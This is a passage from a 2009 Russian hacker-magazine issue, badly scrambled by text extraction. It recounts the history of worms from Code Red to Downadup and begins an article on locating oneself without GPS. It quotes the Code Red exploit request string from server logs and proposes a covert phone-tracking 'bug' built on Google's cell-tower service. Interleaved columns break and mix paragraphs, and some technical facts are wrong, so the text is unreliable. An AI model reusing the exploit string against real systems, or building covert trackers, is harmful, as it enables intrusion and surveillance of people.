Белого дома США в 2002<br />

году пришлось поменять IP-адрес :). Стартовавшего<br />

13 июля 2001 года, Code Red интересовали<br />

виндовые машины с запущенным вебдемоном<br />

IIS на борту и включенной системой<br />

индексирования. О существовании критической<br />

уязвимости, приводящей к переполнению<br />

буфера, в Microsoft знали задолго до появления<br />

вируса, а за месяц до эпидемии была опубликована<br />

заплатка. Впрочем, это не помешало<br />

запущенному 13 июля червю заразить за 6<br />

следующих дней более 350 тысяч машин.<br />

Брешь в ISS позволяла легко выполнять на<br />

сервере удаленный код. Разработчики Code<br />

Red не сильно заморачивались и приделали<br />

эксплоит к простейшему сканеру, который<br />

работал «в лоб». Во время сканирования Code<br />

Red не проверял наличие IIS на новом компьютере-жертве,<br />

а тупо отправлял специально<br />

сформированные HTTP-запросы на сгенерированные<br />

случайно IP-адреса в надежде, что<br />

где-то на 80-порту окажется вожделенный IIS.<br />

Море запросов— огромный объем трафика.<br />

В итоге, оборудование попросту стало задыхаться<br />

от мусорных GET-запросов, которые<br />

генерировали ноды по всему мира. В логах<br />

Apache, на который, естественно, уязвимость<br />

IIS не распространялась, можно было обнаружить<br />

подобные строки:<br />

GET /default.ida?NNNNNNNNNNNNNNNNNN<br />

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN<br />

NNNNNNNNNNNNNNNNNNNNNNN%u9090%u685<br />

8%ucbd3%u7801%u9090%u6858%ucbd3%u7<br />

801%u9090%u6858%ucbd3%u7801%u9090%<br />

u9090%u8190%u00c3%u0003%u8b00%u531<br />

b%u53ff%u0078%u0000%u00=a HTTP/1.0<br />

В процессе работы Code Red не использовал<br />

никаких временных или постоянных файлов.<br />

Червь уникален: он существовал либо в<br />

системной памяти зараженных компьютеров,<br />

либо в виде TCP/IP-пакета при пересылке на<br />

удаленные машины. Но наличие заразы на<br />

сервере обнаруживалось без всякого антивируса.<br />

Поскольку в памяти компьютера могли<br />

существовать сразу сотни активных процессов<br />

Code Red, то тормоза и лаги были неизбежны.<br />

Червь заменял содержимое страниц на<br />

зараженных серверах на сообщение: «HELLO!<br />

Welcome to http://www.worm.com! Hacked By<br />

Chinese!», но был избирателен и дефейсил<br />

только те системы, где в качестве основного<br />

языка был установлен английский.Через некорое<br />

время, правда, дефейс снимался автоматически:<br />

видимо, разработчики не хотели раньше<br />

времени терять драгоценную ноду.<br />

Между 20 и 28 числами месяца тело червя<br />

должно было начать DoS-атаку на несколько<br />

IP-адресов, один из которых принадлежал<br />

американскому Белому дому.<br />

В августе этого же года начал распространяться<br />

новый червь Code Red II, код которого, несмотря<br />

на схожее название, был создан заново<br />

и предоставлял владельцам полный контроль<br />

над зараженными машинами, копируя файл<br />

cmd.exe в каталог \inetpub\scripts\ ISS-сервера.<br />

В отличие от оригинального Code Red, клон<br />

старался атаковать хосты в той же подсети и<br />

не допускал одновременного запуска себя на<br />

одной системе.<br />

2002<br />

Nimda Запустившегося в<br />

сентябре 2001 года червя<br />

ну никак не могли не связать с деятельностью<br />

Алькайды, заодно рассказывая о мощных технологиях,<br />

применяемых в новой заразе. Но если<br />

присказки о терроризме были выдумкой журналистов,<br />

то очевидная продвинутость нового<br />

червя была на лицо. Фишка Nimda заключалась<br />

сразу в нескольких каналах распространения,<br />

благодаря которым ему удалось в считанные<br />

минуты распространиться по Сети. Разберемся<br />

по порядку.<br />

1. Наибольший пробив был получен за счет<br />

эксплоита, который использовал уязвимость в<br />

Internet Explore’е, позволяющую автоматически<br />

запускать приаттаченный к письму файл. Прикрепленный<br />

к письму README.EXE (написаный,<br />

кстати, на С++) беспрепятственно запускался<br />

на машине при простом открытия письма, и<br />

комфортно начинал свое распространение.<br />

Причем, для поиска новых адресатов вирус<br />

кропотливо сканировал текстовые документы на<br />

жестком диске, а также запрашивал с помощью<br />

специальной MAPI-функции список адресатов с<br />

сервера Microsoft Exchange.<br />

2. Другой способ распространения — расшаренные<br />

ресурсы в локалке. После сканирования<br />

всех доступных шар Nimda создавал там файлы<br />

с почтовыми сообщениями, имеющие расширение<br />

.EML и .NWS.Открытие таких файлов происходит<br />

в почтовой программе, что автоматически<br />

влекло за собой заражение, как если бы письмо<br />

просто пришло по почте.<br />

3. Не могли забыть создатели и про дырявый IIS,<br />

уязвимость в котором уже использовали другие<br />

черви. Поэтому Nimda довольно эффективно<br />

пробивал майкросовский веб-демон с помощью<br />

уязвимости directory traversal. В случае заражения<br />

веб-сервера на нем случайным образом<br />

выбирались странички, откуда начиналась<br />

загрузка вируса посетителям.<br />

4. И еще интересный ход — Nimda не стеснялся<br />

и активно использовал для распространения<br />

бекдоры, оставленные в системах червями Code<br />

Red II и sadmind/IIS.<br />

Добавим, что Nimda имел опасный побочный<br />

эффект, который мог допустить утечку конфиденциальной<br />

информации с зараженных компьютеров.<br />

Червь добавлял пользователя под именем<br />

«Guest» в группу пользователей «Администраторы».<br />

Таким образом, обычные гости получали<br />

полный доступ к ресурсам компьютера. Более<br />

того, все локальные диски открывались через<br />

шары для полного доступа.<br />

Автор этого вируса официально не найден, но<br />

в теле червя содержится строка, указывающая,<br />

что создатель из Китая: «Concept Virus(CV) V.5,<br />

Copyright(C)2001 R.P.China»<br />

022<br />

XÀÊÅÐ 04 /124/ 09


pc_zone<br />

DESKTOP<br />

COMPUTER<br />

email с<br />

аттачем<br />

Sasser<br />

email c<br />

аттачем<br />

DESKTOP<br />

COMPUTER<br />

Использовование<br />

уязвимостей в IIS<br />

и бэкдоров Code Red<br />

Малварь код на веб-страницах<br />

веб<br />

страницы<br />

WEB<br />

SERVER<br />

Доступ<br />

к зараженному<br />

файлу на другом<br />

компе<br />

Использовование<br />

уязвимостей в IIS<br />

и бэкдоров Code Red<br />

WEB<br />

SERVER<br />

DESKTOP<br />

COMPUTER<br />

OR FILE<br />

SERVER<br />

РАЗНЫЕ СПОСОБЫ ЗАРАЖЕНИЯ ЧЕРВЯ NIMDA<br />

Nimda<br />

ОШИБКА СИСТЕМЫ ПОСЛЕ ЗАРАЖЕНИЯ<br />

SASSER’ОМ<br />

2003 2004<br />

Slammer Незадачливые жители<br />

стран Северной Америки<br />

были сильно удивлены, когда 25 января<br />

многие банкоматы попросту перестали работать.<br />

Во всем мире со сбоями работали службы<br />

по заказу и резервированию авиабилетов,<br />

многие сервисы вообще не были доступны.<br />

Но набивший оскомину финансовый кризис<br />

тут вовсе не причем — это лишь всплеск активности<br />

червя Slammer. Активность впервые<br />

замечена в 12:30 по среднеатлантическому<br />

времени, а к 12:33 количество зараженных<br />

машин удваивалось каждые 8.5 секунд.<br />

В основе червя лежала уязвимость в Microsoft<br />

SQL Server, концепция которой была представлена<br />

David Litchfield на конференции BlackHat.<br />

Отправляя на 1434 скомпрометированный<br />

Sasser Уж что-что, а окошко<br />

System Shutdown, инициированное<br />

NT AUTHORITY\SYSTEM с обратным<br />

отсчетом и сообщением о принудительной<br />

перезагрузке компьютера видел почти каждый<br />

— годом ранее, во время эпидемии Blaster’а,<br />

либо же в 2004, когда стал бушевать во многом<br />

похожий на него Sasser. Принципиальная<br />

разница червей в том, что они используют критические<br />

уязвимости в разных службах. Для<br />

размножения Sasser использует баг переполнения<br />

буфера в службе Local Security Authority<br />

Subsystem Service (LSAS) — отсюда и название<br />

червя. Написанное на С++ тело Sasser в первоначальной<br />

версии открывает 128 параллельных<br />

потоков, и, используя специальный<br />

пакет, вирус мог выполнить на удаленной<br />

машине произвольный код и, в свою очередь,<br />

продолжить распространение. По различным<br />

отчетам сообщается, что вирусу удалось заразить<br />

75.000 машин за каких-то десять минут,<br />

— но как? Уязвимый модуль IIS, позволяющий<br />

приложениям автоматически обращаться к<br />

нужной базе данных, принимал запросы как<br />

раз по UDP, а тело вируса, составляющее всего<br />

376 байт, отлично помещалось в один единственный<br />

UDP-пакет. В результате Slammer<br />

не использовал тормозной TCP, требующий<br />

постоянных квитков-подтверждений, а рассылал<br />

себя по ненадежному UDP со скоростью<br />

несколько десятков запросов в секунду!<br />

Несмотря на то, что патч для уязвимости был<br />

выпущен за 6 месяцев до эпидемии, а вирус<br />

никак не проявлял себя на зараженной машине,<br />

последствия от Slammer’а были колоссальными.<br />

Роутеры и маршрутизаторы на магистралях<br />

были настолько перегружены трафиком,<br />

что лавинообразно выбивали другу друга в<br />

конце концов отключив некоторые бэкбоны.<br />

Южная Корея была полностью отрублена от<br />

инета и находилась в таком состоянии почти<br />

24 часа. Только представь: никакого интернета<br />

и мобильной связи с внешним миром для 27<br />

миллионов человек. Забавно, что многие жертвы<br />

даже не знали, что на их машине установлена<br />

такая специфическая вещь, как SQL.<br />

алгоритм по генерации IP-адресов, пытается<br />

найти системы с незащищенным 445 портом<br />

и уязвимым сервисом. Сплоит работал на<br />

«ура», правда, приводил к ошибке на системе<br />

пользователя. Sasser открывал на 9997 порту<br />

шелл, через который далее и заливалось все<br />

необходимое. Само тело червя без лишнего<br />

геморроя просто передавалось по протоколу<br />

через FTP, причем сервер также открывался<br />

на зараженных компьютерах на 5554 порту.<br />

Как часто бывает, шелл-код сплоита отличается<br />

от системы к системе, поэтому Sasser<br />

предварительно проверял версии удаленной<br />

системы, чтобы выбрать правильный набор<br />

параметров для атаки.<br />

Оригинальная версия червя Sasser распространялась<br />

достаточно медленно, но через<br />

несколько дней в Сети были выпущены модификации,<br />

распространяющиеся гораздо быстрее.<br />

К этому моменту число зараженных машин<br />

измерялось сотнями тысяч, а в пике эпидемии<br />

речь шла о миллионах. В Финляндии были<br />

отменены рейсы местной авиакомпании, во<br />

многих странах закрыты некоторые отделения<br />

крупнейших банков. Автором заразы оказался<br />

18-летний немецкий студент Свен Яшан, хотя<br />

изначально разрабатывался «русский след».<br />

Юного вредителя заложил кто-то из своих,<br />

позарившись на обещанное Microsoft’ом<br />

награждение в 250.000 баксов. Помимо Sasser,<br />

на компьютере парнишки нашли еще и многочисленные<br />

модификации червя Netsky.<br />

XÀÊÅÐ 04 /124/ 09<br />

023


pc_zone<br />

Sony rootkit<br />

Warezov<br />

BSOD ИЗ-ЗА КОРЯВЫХ ДРАЙВЕРОВ SONY ROOTKIT<br />

ВРЕМЕННЫЙ ФАЙЛ WAREZOV<br />

2005 2006 2007<br />

На дворе — 2006 год,<br />

Warezov<br />

только вот ушастые<br />

пользователи по-прежнему открывают все<br />

вложения в письмах, а программно им мало кто<br />

запрещает это делать. Результат? Огромный<br />

ботнет Warezov (он же Stration), который авторы<br />

сумели собрать за счет одноименного червя,<br />

рассылаемого по email. Никаких сплоитов и<br />

уязвимостей, — социальная инженерия и людская<br />

тупость. И ведь повсю трубят: «Не открывай<br />

вложений» — так ведь все равно кликают.<br />

Особенность червя Warezov — в огромном<br />

количестве вариаций, которые появлялись, как<br />

грибы после дождя. Был момент, когда новые<br />

модификации появлялись чуть ли не раз в 30<br />

минут. Даже с обновленными антивирусными<br />

Storm<br />

Ботнет, созданный с<br />

помощью червя Storm,<br />

можно смело назвать произведением искуства.<br />

Децентрализованная P2P-сеть, в которой<br />

большинство хостов сидит тихо и ждет указаний.<br />

Доменные имена разрешаются в постоянно<br />

меняющиеся IP-адреса (опять же fast-flux<br />

domains). Часть кода червя — полиморфная.<br />

В пике — более миллиона инфицированных<br />

хостов. Как это удалось?<br />

Эпидемия червя началась с компьютеров<br />

в Европе и Соединенных Штатах 19 января<br />

2008 года, когда, прикрываясь темой урагана<br />

базами многие юзеры оставались не у дел.<br />

Впоследствии, когда на веб-серверах глобально<br />

начали вычищать все письма со зловредными<br />

аттачами, модификации перекинулись<br />

на IM-сети. А один из вариантов Warezov стал<br />

первым червем, который распространялся<br />

через Skype!<br />

Как и подобает трою для ботнета, тело Warezov<br />

позволяло владельцам загрузить на компьютер<br />

любую заразу. Червь содержит в себе список<br />

жестко прописанных URL-адресов (что, конечно,<br />

минус), которые он проверяет на наличие<br />

файлов. В случае если по какому-либо из этих<br />

адресов будет размещен файл, он загрузится в<br />

систему и запустится. Основной модуль Warezov<br />

способен завершать различные процессы, а<br />

в Европе, пользователям повалились письма<br />

с предложением открыть вложенный файл с<br />

названиями Full Clip.exe, Full Story.exe, Read<br />

More.exe или Video.exe.<br />

Все попавшиеся на удочку машины автоматически<br />

объединялись в ботнет, но в отличие от<br />

других сетей, он не использовал специальный<br />

управляющий сервер, доступ к которому легко<br />

перекрыть. Принцип управления Storm больше<br />

напоминает пиринговую сеть, в которой<br />

зараженные ноды подключаются к своему<br />

управляющему хосту (он руководит обычно<br />

30-45 зомби), а хосты взаимодействуют между<br />

Забавный факт: это<br />

Sony rootkit<br />

единственный руткит,<br />

который распространялся легально! Win32/<br />

Rootkit.XCP, или «sony rootkit», является частью<br />

системы защиты аудио-CD,выпускаемых Sony<br />

BMG. Растроенная всепоглощающим пиратством<br />

компания решила бороться с нелегальным<br />

копированием с помощью DRM-компонентов<br />

(Digital Rights Management), а в попытке скрыть<br />

их присутствие в системе обратилась в компанию<br />

First 4 Internet, чтобы те написали маскирующий<br />

руткит. В итоге, система защиты дисков<br />

вместе с руткитом стала инсталлироваться на<br />

компьютер пользователя автоматически, когда<br />

в привод вставляется защищенный компактдиск.<br />

После установки, в системе появлялись<br />

два новых сервиса, которые и выполняли все<br />

функции. Установленный драйвер $sys$aries<br />

(aries.sys) скрывает все файлы и ключи в реестре,<br />

которые начинаются с «$sys$» посредством<br />

перехвата нативных API-функций. Win32/<br />

Rootkit.XCP отслеживает обращения к System<br />

Service Table (SST) и перехватывает обращения<br />

к функциям: NtCreateFile, NtEnumerateKey,<br />

NtOpenKey, NtQueryDirectoryFile,<br />

NtQuerySystemInformation. В результате удается<br />

скрыть присутствие ключей в реестре, папок,<br />

файлов и процессов.<br />

Ты спросишь: а в чем, собственно, трабл? Ну,<br />

скрывает этот руткит работу нужных ему компонентов,<br />

что с того? Очень просто. Сразу после<br />

появления руткита, Марк Руссинович в своем<br />

блоге рассказал о многочисленных брешах в<br />

собственной защите программы. И был прав:<br />

очень скоро механизм, предназначенный для<br />

сокрытия файлов и процессов, быстро приспособили<br />

для своих нужд кодеры вирусов. Более<br />

того, распространение этого ноу-хао само по<br />

себе приводило к нестабильности системы,<br />

зависанию компьютера и потере данных из-за<br />

кривых драйверов, установленных в систему. И<br />

даже тогда, когда Sony выпустила специальную<br />

тулзу, избавиться от это дряни полностью было<br />

очень и очень затруднительно.<br />

также останавливать и удалять службы антивирусных<br />

программ и персональных брандмауэров.<br />

Для организации рассылки червь<br />

использует собственный SMTP-сервер. Главное<br />

использование ботнета — это, конечно же,<br />

спам. Однако многие ноды служили для хостинга<br />

так называемых fast-flux платформ, позволяя<br />

спамерам прятать настоящее расположение<br />

их спамерских сайтов за IP-адресом жертвы. IP<br />

менялся настолько часто, что его невозможно<br />

было прикрыть. Warezov достигал этого двумя<br />

средствами: во-первых, reverse HTTP proxy, которая<br />

получала контент с настоящего (скрываемого)<br />

сайта, а также DNS-сервера, на котором<br />

специальная версия Bind под Windows меняла<br />

записи по нужному алгоритму.<br />

друг другом. Причем роль хоста в случае необходимости<br />

может занять любая из нод. Вся<br />

сеть устроена так, что полного списка нодов<br />

нет ни у кого, поэтому точные размеры ботнета<br />

так и остались загадкой. По разным подсчетам,<br />

он варьировался от одного до нескольких<br />

миллионов машин.<br />

Помимо функций по работе с ботнетом, Storm<br />

устанавливает в системе руткит: Win32.agent.<br />

dh, посредством которого держатели ботнета<br />

могли стащить любую конфиденциальную<br />

инфу, рассылать спам и устраивать мощные<br />

DDoS-атаки.<br />

024<br />

XÀÊÅÐ 04 /124/ 09


pc_zone<br />

С MEBROOT’ОМ ДО СИХ ПОР СПРАВЛЯЮТСЯ ДАЛЕКО НЕ ВСЕ АНТИВИРУСЫ<br />

ТЕХНИКА FAST-FLUX В КАРТИНКАХ<br />

РАЗНЫЕ СПОСОБЫ РАСПРОСТРАНЕНИЯ ЧЕРВЯ<br />

DOWNADUP<br />

Merboot<br />

COMPROMISED<br />

PCs<br />

NS.SUPERSAMEAS.COM<br />

STORM BOTNET<br />

211.51.164.123<br />

ЧЕРЕЗ ВНЕШНИЕ НОСИТЕЛИ,<br />

ИСПОЛЬЗУЯ АВТОЗАПУСК<br />

ПРОПАТЧЕННЫЕ СИСТЕМЫ<br />

С НАДЕЖНЫМ ПАРОЛЕМ<br />

НА СИСТЕМНЫЕ ШАРЫ<br />

2<br />

Downadup<br />

1<br />

HOME<br />

PC<br />

3<br />

QUERY:<br />

WWW.SUPERSAMEAS.COM<br />

HTTP GET:211.51.164.123<br />

MS08-067<br />

Storm<br />

ЧЕРЕЗ «СЕТЕВОЕ ОКРУЖЕНИЕ»,<br />

ПЕРЕБИРАЯ ПАРОЛЬ АДМИНИСТРАТОРА<br />

К СИСТЕМНОЙ ШАРЕ ADMIN$<br />

ИСПОЛЬЗУЯ ЭКСПЛОИТ<br />

ДЛЯ УЯЗВИМОСТИ MS08-067,<br />

НАЙДЕННОЙ ВО ВСЕХ ВЕРСИЯХ<br />

WINDOWS<br />

2008 2009<br />

Merboot Загрузочные вирусы,<br />

о которых все благополучно<br />

успели забыть, возвращаются. В 2005<br />

году на хакерской конференции Black Hat<br />

специалисты eEye Digital Security продемонстрировали<br />

концепт так называемого буткита,<br />

размещающего в загрузочном секторе диска<br />

код, который перехватывает загрузку ядра<br />

Windows и запускает бэкдор с возможностью<br />

удаленного управления по локальной<br />

сети. Презентация прошла на ура, а в 2008<br />

году, после длительного затишья в области<br />

Downadup<br />

Червя, нашумевшего в<br />

январе, называют по-разному:<br />

Downadup, Conficker, Kido. Важно одно:<br />

новой малваре за несколько дней удалось<br />

заразить миллионы компьютеров, и собранный<br />

ботнет функционирует до сих пор. Разработчикам<br />

удалось лихо диверсифицировать способы<br />

распространения, объединив в одном черве<br />

сразу несколько успешных методик. Самый<br />

эффективный способ — приватный сплоит,<br />

использующий непропатченную систему с<br />

уязвимостью переполнения буфера MS08-067 в<br />

сервисе «Сервер» (патч вышел еще в октябре).<br />

Для этого червь отсылает удаленной машине<br />

специальным образом сформированный RPCзапрос,<br />

вызывающий переполнение буфера<br />

при вызове функции wcscpy_s в библиотеке<br />

руткитов, выстрелил Mebroot. Новый троян<br />

использовал представленную еще в 2005 году<br />

идею и размещал свое тело в бут-секторе<br />

диска, после чего вносил модификации в<br />

ядро Винды, которые затрудняли обнаружение<br />

вредоносного кода антивирусами.<br />

Подцепить заразу мог кто угодно: компы<br />

заражались через свежие сплоиты с популярных<br />

сайтов. Вредоносный код сначала<br />

изменяет MBR (главная загрузочная запись),<br />

записывает руткит-части в сектора диска,<br />

извлекает из себя и устанавливает бэкдор<br />

netapi32.dll. На компьютере запускается специальный<br />

код-загрузчик, который скачивает с<br />

уже зараженной машины исполняемый файл<br />

червя и запускает его.<br />

Кроме этого, червь отлично тиражирует себя<br />

через «Сетевое окружение», перебирая<br />

пароль администратора к системной шаре<br />

ADMIN$. А давно известный способ распространения<br />

через флешки претерпел изменения:<br />

в результате обфускации Autorun.inf<br />

(разработчики просто добавили в файл кучу<br />

мусора) удалось обмануть многие сигнатурные<br />

антивирусы. Несколько способов =<br />

максимальный эффект! Другая ключевая<br />

особенность заключается в том, как червь<br />

скачивает на зараженную машину трояна (для<br />

дальнейшей рассылки вируса, DDoS’а и т.д.).<br />

в Windows, после чего самоудаляется. В<br />

результате заражения, в MBR размещаются<br />

инструкции, передающие управление основной<br />

части руткита, размещенного в разных<br />

секторах жесткого диска. Именно эта часть,<br />

уже после загрузки системы, перехватывает<br />

API-функции и скрывает зараженный MBR.<br />

Кроме традиционных функций по сокрытию<br />

своего присутствия в системе, вредоносный<br />

код устанавливает в Windows бэкдор, который<br />

занимается кражей банковских аккаунтов.<br />

Разработчики отказались от размещения<br />

файлов на каком-то жестко зафиксированном<br />

серваке. Вместо этого код червя получает<br />

на нескольких популярных ресурсах текущую<br />

дату и по ней генерирует список из 250<br />

доменов, используя специальный алгоритм.<br />

Задача хозяев ботнета — заблаговременно<br />

эти домены зарегистрировать и разместить<br />

там файлы для загрузки. Противостоять этому<br />

не столько сложно, сколько дорого.<br />

Перехватывая API-вызовы, отвечающие<br />

за обращение к DNS, заразе долгое<br />

время удавалось сдерживать антивирусы,<br />

которые банально не могли обновиться, обращаясь<br />

к заблокированным доменам, содержащим<br />

слова kaspersky, nod, symantec,<br />

microsoft и т.д. z<br />

XÀÊÅÐ 04 /124/ 09<br />

025


pc_zone<br />

СТЕПАН ИЛЬИН<br />

/ STEP@GAMELAND. RU/<br />

НАВИГАЦИЯ<br />

БЕЗ GPS<br />

Как определить свои координаты по IP, GSM/UMTS и Wi-Fi<br />

Тысячи лет назад о такой штуке, как GPS, никто не мог даже мечтать.<br />

Но моряки и путешественники отлично справлялись с навигацией,<br />

используя компас и карты, солнце и звезды. Сейчас — век цифровой,<br />

но тоже есть немало способов определить месторасположение без<br />

всяких там систем глобального позиционирования.<br />

Спору нет, GPS — классная штука, но что делать, если приемника<br />

под рукой нет? Далеко не у каждого есть встроенный чип в мобиле.<br />

Да и владелец автомобиля совсем не обязательно успел обзавестись<br />

устройством навигации. Так как же быть? Если не брать в расчет редкие и<br />

экзотические варианты, то основных способа три:<br />

1. Определить IP и с помощью специальной базы данных определить<br />

город, в котором находишься, и нередко — долготу и широту.<br />

2. Определить расположение по находящимся рядом базовым станциям<br />

GSM/UMTS. Это возможно при наличии базы данных с идентификаторами<br />

вышек и их координатами.<br />

3. Использовать для вычисления широты и долготы информацию о<br />

находящихся рядом точках доступа Wi-Fi, передав запрос с их характеристиками<br />

на специальный сервер.<br />

Итак, начнем с самого простого.<br />

IP НАМ В ПОМОЩЬ<br />

Когда мне нужно проверить свой внешний IP, чтобы убедиться,<br />

например, что я включил VPN или прокси, я всегда использую сервис<br />

ip2location.com. Приятно, что, помимо самого IP-адреса, выводится<br />

информация о провайдере, его месторасположении (город, страна,<br />

штат), а зачастую… еще и координаты. Само собой, в базе не будут<br />

указаны широта и долгота для самого обычного клиента интернет-услуг.<br />

Как правило, данные указываются для провайдера, реже — для крупных<br />

компаний, имеющих большие диапазоны статических IP. Получается,<br />

что, подключившись к сети (например, через любой открытый hotspot<br />

или просто воспользовавшись компьютером), можно с большой долей<br />

вероятности определить примерное место, где ты находишься. Конечно,<br />

способ примитивный — и более того, самый неточный из всех представленных<br />

в этой статье. С другой стороны, это реальный шанс определить<br />

месторасположение, всего лишь открыв страничку в интернете. А если<br />

сварганить специальный трекер, установить его на КПК и отслеживать<br />

IP-шники, которые он получает при коннекте к открытым WiFi-сетям, то<br />

реально вычислить передвижения девайса.<br />

Использовать сервис в чистом виде, а именно — переходя браузером<br />

по ссылке ip2location.com, скучно и беспонтово. Месторасположение на<br />

карте не увидеть, лог не сохранить, а сама страница слишком тяжелая<br />

для мобильного инета — короче, это не наш путь. От сервиса нам нужно<br />

только одно — база соответствий разных IP-адресов их расположению,<br />

которую ip2location предлагает приобрести за довольно разумные<br />

деньги. Само собой, подобные базы быстро расплываются по варезным<br />

порталам и торрентам, причем в двух вариантах: .cvs (текстовом) и .bin<br />

(бинарном). С такой базой несложно заточить любое приложение под<br />

себя. Правда, IP-адрес в базе хранится в специальном цифровом виде<br />

без точек и разделения на октеты, но следующая PHP-функция поможет<br />

привести обычный IP-шник к нужному виду:<br />

function Dot2LongIP ($IPaddr)<br />

{<br />

if ($IPaddr == "") {<br />

return 0;<br />

} else {<br />

$ips = split ("\.", "$IPaddr");<br />

return ($ips[3] + $ips[2] * 256 + $ips[1] * 256 * 256<br />

+ $ips[0] * 256 * 256 * 256);<br />

}<br />

}<br />

Имея такой ключ для адреса, ничего не стоит найти соответствующие<br />

026<br />

XÀÊÅÐ 04 /124/ 09


pc_zone<br />

База данных ip2location<br />

Определяем координаты по параметрам MNC, MCC, LAC, Cell ID базовой<br />

станции, к которой подключены<br />

Координаты по IP-адресу? Легко! Но очень неточно :)<br />

ему координаты в текстовой базе. Если же в распоряжении будет база<br />

в BIN-формате, то задача еще проще. Для Perl, C, Python, PHP, Ruby,<br />

C#, VB.NET, Java, Visual Basic сервисом подготовлены готовые модули<br />

(http://www.ip2location.com/developers.aspx), которые легко использовать<br />

в своем проекте. В случае с PHP достаточно закинуть на сайт модуль<br />

IP2Location.inc.php и создать несложный скриптик:<br />

<br />

Можно просто вывести на экран, залогировать или отобразить на карте с<br />

помощью Google Maps, передав широту и долготу в качестве параметра:<br />

http://maps.google.com/maps?f=l&hl=en&q='+query+'&near<br />

='+str(lat)+','+str(lng)+'&ie=UTF8&z=12&om=1<br />

XÀÊÅÐ 04 /124/ 09<br />

ИСПОЛЬЗУЕМ МОБИЛЬНЫЕ ВЫШКИ!<br />

Старая байка о том, что спецслужбы могут найти человека по сигналу<br />

от его мобильника — один из тех случаях, когда на самом деле все так и<br />

есть. Да чего там спецслужбы, если на это способна даже совершенно<br />

бесплатная программа Google Maps (www.google.com/gmm).<br />

По сути, это удобная оболочка для доступа к одноименному веб-сервису,<br />

позволяющему смотреть фотографии местности со спутника, рельеф и — во<br />

многих случаях — карты с возможностью проложить маршруты. Думаю,<br />

рассмотреть крышу своего дома через maps.google.com пробовали все.<br />

Работать с таким сайтом через браузер на мобильном телефоне (даже если<br />

это сверхскоростная Opera Mini) крайне сложно, поэтому в Google, подсуетившись,<br />

сделали удобную оболочку для просмотра карт. Оформили ее в<br />

виде приложения для самых разных платформ — от обычных мобильных,<br />

поддерживающих Java, до смартфонов и коммуникаторов на Windows<br />

Mobile и Symbian S60 3rd Edition, престижных BlackBerry, а теперь еще и<br />

Android, к которой мы пока не привыкли, но очень скоро будем воспринимать<br />

как одну из основных платформ для телефона. В том же iPhone Google<br />

Maps встроена по умолчанию. Так вот, помимо удобного просмотра этих<br />

самых карт и спутниковых снимков, у утилиты есть одна замечательная<br />

кнопка «Мое месторасположение». Один клик — и на карте отмечается<br />

нахождение телефона. Да, для владельцев трубок с GPS это сущая ерунда:<br />

нашли чем удивить! Но надо видеть лица тех пользователей, которые обнаружили<br />

на экране свое месторасположение, хотя никаких навигационных<br />

приблуд у них не было и в помине! Впрочем, это только так кажется.<br />

Телефонная трубка всегда находится в зоне действия, по меньшей<br />

мере, одной базовой станции сотовой сети. Ну, или не находится — но в<br />

этом случае от нее толку не более чем от кирпичика. Любая из базовых<br />

станций имеет некоторый набор параметров, которые получает<br />

телефон — благодаря этому каждую БС можно распознать. Один из таких<br />

параметров — CellID (сокращенно CID) — уникальный номер для каждой<br />

соты, выданный оператором. Зная его, ты можешь распознать базовую<br />

станцию, а зная расположение базовой станции, можешь понять,<br />

где находишься. Точность варьируется от нескольких сотен метров до<br />

нескольких километров, но это неплохая отправная точка, чтобы разобраться<br />

с координатами.<br />

Получается, имея в наличии табличку, где в соответствии с каждой<br />

базовой станцией будет сопоставлены ее координаты, можно примерно<br />

вычислить положение абонента. А раз Google Maps может так лихо определять<br />

месторасположение человека, то у него такая база данных есть.<br />

Но откуда? Расположение базовых станцией различных операторов —<br />

пускай и не секретная, но вряд ли открытая информация. Даже учитывая<br />

масштабность проектов Гугла, с трудом можно поверить, что тот договорился<br />

со всеми операторами сотовой связи — определение местоположения<br />

работает в любом месте (забегая вперед, скажу, что правильнее<br />

говорить «может работать в любом месте»). Ответ скрывается в лицензионном<br />

соглашении во время установки программы, на который мы,<br />

конечно же, забили и сразу нажали «Я согласен» :). А ведь там черным по<br />

белому написано, что, принимая соглашение, мы разрешаем программе<br />

анонимно передавать на сервер информацию о текущем расположении<br />

и информацию о сотовых вышках поблизости. Да! Базу данных с<br />

примерными координатами базовых станций составляют для Google<br />

сами пользователи Google Maps, имеющие на борту своих телефонов и<br />

коммуникаторов встроенный приемник GPS. И что самое классное: даже<br />

при полном отказе от использования как официальных, так и неофициальных<br />

(собранных энтузиастами с помощью специальных сканеров —<br />

подробнее читай во врезке) баз с расположением станций, функция для<br />

определения месторасположения работает на «ура». Проверь сам.<br />

GSM-НАВИГАЦИЯ СВОИМИ РУКАМИ<br />

Возможность посмотреть в программе свое расположение — само по<br />

себе здорово, но разве ж можно отказаться от соблазна использовать<br />

базы Google’а в корыстных целях? Как тебе, например, идея создать<br />

собственный трекер, который определял бы текущее расположение БС и<br />

передавал его на наш сервер? Эдакий жучок средствами самого телефона,<br />

который работает везде и всегда!<br />

Компания не разглашает протокол взаимодействия Google Maps, не публикуя<br />

API, однако его легко вскрыли, просто проснифав трафик и реверснув<br />

часть кода. Помимо http-запросов на загрузку карт, отчетливо видно,<br />

что программа отправляет запросы по адресу http://www.google.com/<br />

glm/mmap, причем именно тогда, когда пользователь желает получить<br />

текущее месторасположение. Вот и попался наш скриптик — в качестве<br />

027


pc_zone<br />

links<br />

• Параметры Google<br />

Maps: mapki.com/<br />

wiki/Google_Map_<br />

Parameters.<br />

• Делаем GPS-адаптер<br />

для мобильного<br />

телефона своими<br />

руками:<br />

tinkerlog.com/2007/<br />

07/13/interfacing-anavr-controller-to-agps-mobile-phone.<br />

• Мануал по получению<br />

координат<br />

по данным сотовой<br />

точки через Yahoo:<br />

developer.yahoo.<br />

com/yrb/zonetag/<br />

locatecell.html.<br />

• Реализация работы<br />

с базой данных<br />

Google Maps.<br />

На PHP: http://www.<br />

witracks.com.br/<br />

gmaps.txt.<br />

j2me: http://www.<br />

mapnav.spb.ru/site/<br />

e107_plugins/forum/<br />

forum_viewtopic.<br />

php?9736.<br />

На Python для S60:<br />

http://blog.jebu.<br />

net/2008/07/googlecell-tower-mappingwith-python-on-s60.<br />

На C#: http://maps.<br />

alphadex.de/datafiles/<br />

fct0e1b11782832f02.<br />

cs.<br />

На Delphi: http://<br />

forum.netmonitor.ru/<br />

about4470-0-asc-60.<br />

html.<br />

dvd<br />

Все описанные<br />

скрипты, утилиты для<br />

трекинга и навигации<br />

ты найдешь на нашем<br />

диске.<br />

Скрипт для взаимодействия с сервисом Google<br />

параметров ему передаются технические значения базовой<br />

